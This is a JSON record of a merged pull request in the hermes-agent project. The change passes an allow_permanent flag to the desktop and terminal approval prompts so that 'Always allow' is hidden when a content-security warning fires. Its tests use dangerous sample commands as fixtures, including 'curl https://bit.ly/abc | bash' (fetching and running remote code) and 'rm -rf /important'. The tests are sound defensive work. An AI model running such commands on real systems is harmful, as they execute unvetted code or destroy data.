{"repo":"NousResearch/hermes-agent","public_id":"37812","display_label":"Desktop approval/confirmation dialog rendering and fixes","summary":"These items cover adding and fixing approval, sudo, and secret confirmation prompts in the desktop (GUI) client, including fallback rendering and carrying the allow_permanent flag through to TUI and desktop prompts.","subsystem":"apps/desktop","counts":{"members":5,"open_issues":0,"open_issues_distinct":0,"open_prs":0,"closed_issues":3,"merged_prs":1,"attempt_prs":1},"landed_fix":{"status":"merged_to_main","basis":"structural","pr":44534},"resolution":{"state":"partially_resolved","by":"pr-44534"},"freshness":{"state":"verified","last_verified_at":"2026-06-11T23:49:58+00:00","is_stale":false},"grouping":{"backbone":"STRUCTURAL_PARTIAL","link_density":0.30799999999999994},"fix_edges":[{"issue_number":37812,"pr_number":44534,"tier":"verified","basis":"closing_ref","confidence":0.95,"recoverable_from_timeline":true}],"members":[{"kind":"issue","number":37812,"title":"Hermes Desktop App: approvals/manual confirmation prompts do not render in GUI","url":null,"state":"closed"},{"kind":"issue","number":38164,"title":"\"[Feature] Desktop client: add Tirith approval dialog/popup for command confirmation\"","url":null,"state":"closed"},{"kind":"issue","number":38173,"title":"[Feature] Desktop client: add Tirith approval dialog/popup for command confirmation","url":null,"state":"closed"},{"kind":"pr","number":40071,"title":"fix(desktop): add approval dialog fallback when inline controls are absent","url":null,"state":"closed","close_reason":{"category":"volume_quota","implication":"active"},"merged":false},{"kind":"pr","number":44534,"title":"fix(approval): carry allow_permanent to TUI + desktop approval prompts","url":null,"state":"merged","close_reason":{"category":"merged","implication":"superseded"},"merged":true,"is_fix_pr":true,"fix_tier":"verified","files_changed":["apps/desktop/src/app/session/hooks/use-message-stream.ts","apps/desktop/src/components/assistant-ui/tool-approval.test.tsx","apps/desktop/src/components/assistant-ui/tool-approval.tsx","apps/desktop/src/lib/chat-messages.ts","apps/desktop/src/store/prompts.test.ts","apps/desktop/src/store/prompts.ts","tests/tools/test_command_guards.py","tools/approval.py","ui-tui/src/__tests__/approvalAction.test.ts","ui-tui/src/__tests__/createGatewayEventHandler.test.ts","ui-tui/src/app/createGatewayEventHandler.ts","ui-tui/src/components/prompts.tsx","ui-tui/src/gatewayTypes.ts","ui-tui/src/types.ts"],"fix_hunks":[{"file":"apps/desktop/src/app/session/hooks/use-message-stream.ts","hunks":["@@ -933,6 +933,8 @@ export function useMessageStream({\n         // raise it and wait — the sidebar flags \"needs input\" and the inline bar\n         // surfaces once the user focuses that chat.\n         setApprovalRequest({\n+          // false only when a tirith warning forbids it; backend omits the field otherwise.\n+          allowPermanent: payload?.allow_permanent !== false,\n           command: typeof payload?.command === 'string' ? payload.command : '',\n           description: typeof payload?.description === 'string' ? payload.description : 'dangerous command',\n           sessionId: sessionId ?? null"]},{"file":"apps/desktop/src/components/assistant-ui/tool-approval.test.tsx","hunks":["@@ -1,5 +1,5 @@\n import { cleanup, fireEvent, render, screen, waitFor } from '@testing-library/react'\n-import { afterEach, describe, expect, it, vi } from 'vitest'\n+import { afterEach, beforeAll, describe, expect, it, vi } from 'vitest'\n \n import type { HermesGateway } from '@/hermes'\n import { $gateway } from '@/store/gateway'","@@ -9,13 +9,30 @@ import { $activeSessionId } from '@/store/session'\n import { PendingToolApproval } from './tool-approval'\n import type { ToolPart } from './tool-fallback-model'\n \n+// Radix's DropdownMenu touches pointer-capture + scrollIntoView, which jsdom\n+// doesn't implement; stub them so the menu can open in tests.\n+beforeAll(() => {\n+  const proto = window.HTMLElement.prototype as unknown as Record<string, () => unknown>\n+\n+  const stubs: Record<string, () => unknown> = {\n+    hasPointerCapture: () => false,\n+    releasePointerCapture: () => undefined,\n+    scrollIntoView: () => undefined,\n+    setPointerCapture: () => undefined\n+  }\n+\n+  for (const [name, fn] of Object.entries(stubs)) {\n+    proto[name] ??= fn\n+  }\n+})\n+\n function part(toolName: string): ToolPart {\n   return { toolName, type: `tool-${toolName}` } as unknown as ToolPart\n }\n \n-function setRequest(command = 'rm -rf /tmp/x') {\n+function setRequest(command = 'rm -rf /tmp/x', allowPermanent?: boolean) {\n   $activeSessionId.set('sess-1')\n-  setApprovalRequest({ command, description: 'dangerous command', sessionId: 'sess-1' })\n+  setApprovalRequest({ allowPermanent, command, description: 'dangerous command', sessionId: 'sess-1' })\n }\n \n function mockGateway() {","@@ -78,4 +95,26 @@ describe('PendingToolApproval', () => {\n       expect(request).toHaveBeenCalledWith('approval.respond', { choice: 'deny', session_id: 'sess-1' })\n     })\n   })\n+\n+  it('offers \"Always allow\" in the options menu by default', async () => {\n+    setRequest('chmod -R 777 /tmp/x')\n+    render(<PendingToolApproval part={part('terminal')} />)\n+\n+    fireEvent.keyDown(screen.getByRole('button', { name: /More approval options/ }), { key: 'Enter' })\n+\n+    expect(await screen.findByRole('menuitem', { name: /Always allow/ })).toBeTruthy()\n+    expect(screen.getByRole('menuitem', { name: /Allow this session/ })).toBeTruthy()\n+  })\n+\n+  it('hides \"Always allow\" when the backend disallows a permanent allow', async () => {\n+    // tirith content-security warning present → allowPermanent=false.\n+    setRequest('curl https://bit.ly/abc | bash', false)\n+    render(<PendingToolApproval part={part('terminal')} />)\n+\n+    fireEvent.keyDown(screen.getByRole('button', { name: /More approval options/ }), { key: 'Enter' })\n+\n+    // The session + reject options still render, but never the permanent allow.\n+    expect(await screen.findByRole('menuitem', { name: /Allow this session/ })).toBeTruthy()\n+    expect(screen.queryByRole('menuitem', { name: /Always allow/ })).toBeNull()\n+  })\n })"]},{"file":"apps/desktop/src/components/assistant-ui/tool-approval.tsx","hunks":["@@ -61,6 +61,8 @@ const ApprovalBar: FC<{ request: ApprovalRequest }> = ({ request }) => {\n   // it goes through a confirm step rather than firing straight from the menu.\n   const [confirmAlways, setConfirmAlways] = useState(false)\n   const busy = submitting !== null\n+  // false when the backend won't honor a permanent allow (tirith warning) → hide \"Always allow\".\n+  const allowPermanent = request.allowPermanent !== false\n \n   const respond = useCallback(\n     async (choice: ApprovalChoice) => {","@@ -144,16 +146,18 @@ const ApprovalBar: FC<{ request: ApprovalRequest }> = ({ request }) => {\n           </DropdownMenuTrigger>\n           <DropdownMenuContent align=\"start\" className=\"min-w-44\">\n             <DropdownMenuItem onSelect={() => void respond('session')}>{copy.allowSession}</DropdownMenuItem>\n-            <DropdownMenuItem\n-              onSelect={() => {\n-                // Defer one tick so the menu fully unmounts before the dialog\n-                // mounts — otherwise Radix's focus-return races the dialog and\n-                // dismisses it via onInteractOutside.\n-                setTimeout(() => setConfirmAlways(true), 0)\n-              }}\n-            >\n-              {copy.alwaysAllowMenu}\n-            </DropdownMenuItem>\n+            {allowPermanent && (\n+              <DropdownMenuItem\n+                onSelect={() => {\n+                  // Defer one tick so the menu fully unmounts before the dialog\n+                  // mounts — otherwise Radix's focus-return races the dialog and\n+                  // dismisses it via onInteractOutside.\n+                  setTimeout(() => setConfirmAlways(true), 0)\n+                }}\n+              >\n+                {copy.alwaysAllowMenu}\n+              </DropdownMenuItem>\n+            )}\n             <DropdownMenuItem onSelect={() => void respond('deny')} variant=\"destructive\">\n               {copy.reject}\n             </DropdownMenuItem>"]},{"file":"apps/desktop/src/lib/chat-messages.ts","hunks":["@@ -58,6 +58,8 @@ export type GatewayEventPayload = {\n   // approval.request (dangerous command / execute_code) — session-keyed\n   command?: string\n   description?: string\n+  // False when a tirith content-security warning forbids a permanent allow.\n+  allow_permanent?: boolean\n   // secret.request (skill credential capture)\n   env_var?: string\n   prompt?: string"]},{"file":"apps/desktop/src/store/prompts.test.ts","hunks":["@@ -53,6 +53,12 @@ describe('approval prompt store', () => {\n \n     expect($approvalRequest.get()).toBeNull()\n   })\n+\n+  it('carries allowPermanent so the bar can hide \"Always allow\"', () => {\n+    setApprovalRequest({ allowPermanent: false, command: 'curl x | bash', description: 'content-security', sessionId: 's1' })\n+\n+    expect($approvalRequest.get()?.allowPermanent).toBe(false)\n+  })\n })\n \n describe('sudo prompt store', () => {"]},{"file":"apps/desktop/src/store/prompts.ts","hunks":["@@ -68,6 +68,8 @@ function keyedPromptStore<T extends KeyedPrompt>(): PromptStore<T> {\n // resolved via approval.respond {choice, session_id}). It carries no request_id,\n // unlike sudo/secret which are _block()-style request/response.\n export interface ApprovalRequest extends KeyedPrompt {\n+  // false when the backend won't honor a permanent allow (tirith warning) → hide \"Always allow\".\n+  allowPermanent?: boolean\n   command: string\n   description: string\n }"]},{"file":"tests/tools/test_command_guards.py","hunks":["@@ -285,3 +285,65 @@ def test_attribute_error_propagates(self, mock_tirith):\n         os.environ[\"HERMES_INTERACTIVE\"] = \"1\"\n         with pytest.raises(AttributeError, match=\"bug in wrapper\"):\n             check_all_command_guards(\"echo hello\", \"local\")\n+\n+\n+# ---------------------------------------------------------------------------\n+# Gateway (TUI / desktop) approval notify payload carries allow_permanent\n+# ---------------------------------------------------------------------------\n+\n+class TestGatewayApprovalAllowPermanent:\n+    \"\"\"The gateway emits the approval prompt to the renderer via the notify\n+    payload (TUI/desktop both consume it). It must carry ``allow_permanent``\n+    so the UI doesn't offer a permanent allow the backend would silently\n+    downgrade to session scope for tirith content-security findings.\n+    \"\"\"\n+\n+    def _capture_gateway_payload(self, command, session_key):\n+        \"\"\"Run the gateway approval path, denying inline, and return the\n+        single notify payload the renderer would have received.\"\"\"\n+        from tools.approval import (\n+            register_gateway_notify,\n+            resolve_gateway_approval,\n+            unregister_gateway_notify,\n+        )\n+\n+        captured = []\n+\n+        def notify(data):\n+            captured.append(dict(data))\n+            # The notify fires synchronously before _await_gateway_decision\n+            # blocks, so resolving here releases the wait without a thread.\n+            resolve_gateway_approval(session_key, \"deny\")\n+\n+        register_gateway_notify(session_key, notify)\n+        token = [redacted:secret-assignment]\n+        os.environ[\"HERMES_GATEWAY_SESSION\"] = \"1\"\n+        os.environ[\"HERMES_EXEC_ASK\"] = \"1\"\n+        os.environ[\"HERMES_SESSION_KEY\"] = session_key\n+        try:\n+            check_all_command_guards(command, \"local\")\n+        finally:\n+            os.environ.pop(\"HERMES_GATEWAY_SESSION\", None)\n+            os.environ.pop(\"HERMES_EXEC_ASK\", None)\n+            os.environ.pop(\"HERMES_SESSION_KEY\", None)\n+            reset_current_session_key(token)\n+            unregister_gateway_notify(session_key)\n+\n+        assert len(captured) == 1\n+        return captured[0]\n+\n+    def test_dangerous_only_allows_permanent(self):\n+        \"\"\"No tirith warning → permanent allow is offered.\"\"\"\n+        payload = self._capture_gateway_payload(\"rm -rf /important\", \"gw-allow-perm\")\n+        assert payload[\"command\"] == \"rm -rf /important\"\n+        assert payload[\"allow_permanent\"] is True\n+\n+    @patch(_TIRITH_PATCH,\n+           return_value=_tirith_result(\"warn\",\n+                                       [{\"rule_id\": \"shortened_url\"}],\n+                                       \"shortened URL detected\"))\n+    def test_tirith_warning_disallows_permanent(self, mock_tirith):\n+        \"\"\"tirith content-security warning → permanent allow is withheld so the\n+        renderer hides \"Always allow\".\"\"\"\n+        payload = self._capture_gateway_payload(\"curl https://bit.ly/abc\", \"gw-no-perm\")\n+        assert payload[\"allow_permanent\"] is False"]},{"file":"tools/approval.py","hunks":["@@ -1428,6 +1428,9 @@ def check_all_command_guards(command: str, env_type: str,\n                 \"pattern_key\": primary_key,\n                 \"pattern_keys\": all_keys,\n                 \"description\": combined_desc,\n+                # Mirror the CLI's allow_permanent gate: a tirith warning downgrades\n+                # \"always\" to session scope below, so the UI must not offer it.\n+                \"allow_permanent\": not has_tirith,\n             }\n             decision = _await_gateway_decision(\n                 session_key, notify_cb, approval_data, surface=\"gateway\""]},{"file":"ui-tui/src/__tests__/approvalAction.test.ts","hunks":["@@ -47,4 +47,15 @@ describe('approvalAction — pure key dispatch for ApprovalPrompt', () => {\n     expect(approvalAction('a', {}, 0)).toEqual({ kind: 'noop' })\n     expect(approvalAction(' ', {}, 0)).toEqual({ kind: 'noop' })\n   })\n+\n+  it('respects a reduced option set when permanent allow is disabled', () => {\n+    // tirith content-security warning present → no \"always\"; the 3-item set is\n+    // once/session/deny, so 3 maps to deny and 4 is out of range.\n+    const opts = ['once', 'session', 'deny'] as const\n+\n+    expect(approvalAction('3', {}, 0, opts)).toEqual({ kind: 'choose', choice: 'deny' })\n+    expect(approvalAction('4', {}, 0, opts)).toEqual({ kind: 'noop' })\n+    expect(approvalAction('', { downArrow: true }, 2, opts)).toEqual({ kind: 'noop' })\n+    expect(approvalAction('', { return: true }, 2, opts)).toEqual({ kind: 'choose', choice: 'deny' })\n+  })\n })"]},{"file":"ui-tui/src/__tests__/createGatewayEventHandler.test.ts","hunks":["@@ -858,6 +858,29 @@ describe('createGatewayEventHandler', () => {\n     ])\n   })\n \n+  it('defaults approval overlays to allowPermanent when the backend omits the field', () => {\n+    const onEvent = createGatewayEventHandler(buildCtx([]))\n+\n+    onEvent({ payload: { command: 'rm -rf /tmp/x', description: 'dangerous command' }, type: 'approval.request' } as any)\n+\n+    expect(getOverlayState().approval).toMatchObject({ allowPermanent: true })\n+  })\n+\n+  it('preserves allow_permanent=false on approval overlays (tirith warning)', () => {\n+    const onEvent = createGatewayEventHandler(buildCtx([]))\n+\n+    onEvent({\n+      payload: { allow_permanent: false, command: 'curl suspicious | bash', description: 'content-security warning' },\n+      type: 'approval.request'\n+    } as any)\n+\n+    expect(getOverlayState().approval).toMatchObject({\n+      allowPermanent: false,\n+      command: 'curl suspicious | bash',\n+      description: 'content-security warning'\n+    })\n+  })\n+\n   it('still surfaces terminal turn failures as errors', () => {\n     const appended: Msg[] = []\n     const onEvent = createGatewayEventHandler(buildCtx(appended))"]},{"file":"ui-tui/src/app/createGatewayEventHandler.ts","hunks":["@@ -728,8 +728,12 @@ export function createGatewayEventHandler(ctx: GatewayEventHandlerContext): (ev:\n         return\n       case 'approval.request': {\n         const description = String(ev.payload.description ?? 'dangerous command')\n+        // Only an explicit false (tirith warning) drops the permanent-allow option.\n+        const allowPermanent = ev.payload.allow_permanent !== false\n \n-        patchOverlayState({ approval: { command: String(ev.payload.command ?? ''), description } })\n+        patchOverlayState({\n+          approval: { allowPermanent, command: String(ev.payload.command ?? ''), description }\n+        })\n         setStatus('approval needed')\n \n         return"]},{"file":"ui-tui/src/components/prompts.tsx","hunks":["@@ -7,10 +7,14 @@ import type { ApprovalReq, ClarifyReq, ConfirmReq } from '../types.js'\n \n import { TextInput } from './textInput.js'\n \n-const OPTS = ['once', 'session', 'always', 'deny'] as const\n+const APPROVAL_OPTS = ['once', 'session', 'always', 'deny'] as const\n+// tirith warning present → backend downgrades \"always\" to session scope, so drop it.\n+const APPROVAL_OPTS_NO_ALWAYS = APPROVAL_OPTS.filter(o => o !== 'always')\n const LABELS = { always: 'Always allow', deny: 'Deny', once: 'Allow once', session: 'Allow this session' } as const\n const CMD_PREVIEW_LINES = 10\n \n+type ApprovalChoice = 'always' | 'deny' | 'once' | 'session'\n+\n type ApprovalKey = {\n   downArrow?: boolean\n   escape?: boolean","@@ -18,10 +22,7 @@ type ApprovalKey = {\n   upArrow?: boolean\n }\n \n-type ApprovalAction =\n-  | { kind: 'choose'; choice: (typeof OPTS)[number] }\n-  | { kind: 'move'; delta: -1 | 1 }\n-  | { kind: 'noop' }\n+type ApprovalAction = { kind: 'choose'; choice: ApprovalChoice } | { kind: 'move'; delta: -1 | 1 } | { kind: 'noop' }\n \n /**\n  * Pure key-dispatch for the approval prompt — exported so the regression","@@ -31,29 +32,34 @@ type ApprovalAction =\n  *\n  * Esc and number keys both terminate the prompt; Esc maps to deny (parity\n  * with the global Ctrl+C handler that already calls cancelOverlayFromCtrlC\n- * for approvals).  Numbers 1..OPTS.length pick the labelled choice.  Enter\n+ * for approvals).  Numbers 1..opts.length pick the labelled choice.  Enter\n  * confirms the current selection.  ↑/↓ moves the selection within bounds.\n  */\n-export function approvalAction(ch: string, key: ApprovalKey, sel: number): ApprovalAction {\n+export function approvalAction(\n+  ch: string,\n+  key: ApprovalKey,\n+  sel: number,\n+  opts: readonly ApprovalChoice[] = APPROVAL_OPTS\n+): ApprovalAction {\n   if (key.escape) {\n     return { kind: 'choose', choice: 'deny' }\n   }\n \n   const n = parseInt(ch, 10)\n \n-  if (n >= 1 && n <= OPTS.length) {\n-    return { kind: 'choose', choice: OPTS[n - 1]! }\n+  if (n >= 1 && n <= opts.length) {\n+    return { kind: 'choose', choice: opts[n - 1]! }\n   }\n \n   if (key.return) {\n-    return { kind: 'choose', choice: OPTS[sel]! }\n+    return { kind: 'choose', choice: opts[sel]! }\n   }\n \n   if (key.upArrow && sel > 0) {\n     return { kind: 'move', delta: -1 }\n   }\n \n-  if (key.downArrow && sel < OPTS.length - 1) {\n+  if (key.downArrow && sel < opts.length - 1) {\n     return { kind: 'move', delta: 1 }\n   }\n ","@@ -62,9 +68,10 @@ export function approvalAction(ch: string, key: ApprovalKey, sel: number): Appro\n \n export function ApprovalPrompt({ onChoice, req, t }: ApprovalPromptProps) {\n   const [sel, setSel] = useState(0)\n+  const opts = req.allowPermanent === false ? APPROVAL_OPTS_NO_ALWAYS : APPROVAL_OPTS\n \n   useInput((ch, key) => {\n-    const action = approvalAction(ch, key, sel)\n+    const action = approvalAction(ch, key, sel, opts)\n \n     if (action.kind === 'choose') {\n       onChoice(action.choice)","@@ -99,7 +106,7 @@ export function ApprovalPrompt({ onChoice, req, t }: ApprovalPromptProps) {\n \n       <Text />\n \n-      {OPTS.map((o, i) => (\n+      {opts.map((o, i) => (\n         <Text key={o}>\n           <Text bold={sel === i} color={sel === i ? t.color.warn : t.color.muted} inverse={sel === i}>\n             {sel === i ? '▸ ' : '  '}","@@ -108,7 +115,9 @@ export function ApprovalPrompt({ onChoice, req, t }: ApprovalPromptProps) {\n         </Text>\n       ))}\n \n-      <Text color={t.color.muted}>↑/↓ select · Enter confirm · 1-4 quick pick · Esc/Ctrl+C deny</Text>\n+      <Text color={t.color.muted}>\n+        ↑/↓ select · Enter confirm · 1-{opts.length} quick pick · Esc/Ctrl+C deny\n+      </Text>\n     </Box>\n   )\n }"]},{"file":"ui-tui/src/gatewayTypes.ts","hunks":["@@ -569,7 +569,11 @@ export type GatewayEvent =\n       session_id?: string\n       type: 'clarify.request'\n     }\n-  | { payload: { command: string; description: string }; session_id?: string; type: 'approval.request' }\n+  | {\n+      payload: { allow_permanent?: boolean; command: string; description: string }\n+      session_id?: string\n+      type: 'approval.request'\n+    }\n   | { payload: { request_id: string }; session_id?: string; type: 'sudo.request' }\n   | { payload: { env_var: string; prompt: string; request_id: string }; session_id?: string; type: 'secret.request' }\n   | { payload: { task_id: string; text: string }; session_id?: string; type: 'background.complete' }"]},{"file":"ui-tui/src/types.ts","hunks":["@@ -90,6 +90,8 @@ export interface DelegationStatus {\n }\n \n export interface ApprovalReq {\n+  // false when the backend won't honor a permanent allow (tirith warning) → hide \"Always allow\".\n+  allowPermanent?: boolean\n   command: string\n   description: string\n }\n"]}]}],"trust":{"default_tier":"verified","includes_suggested":false}}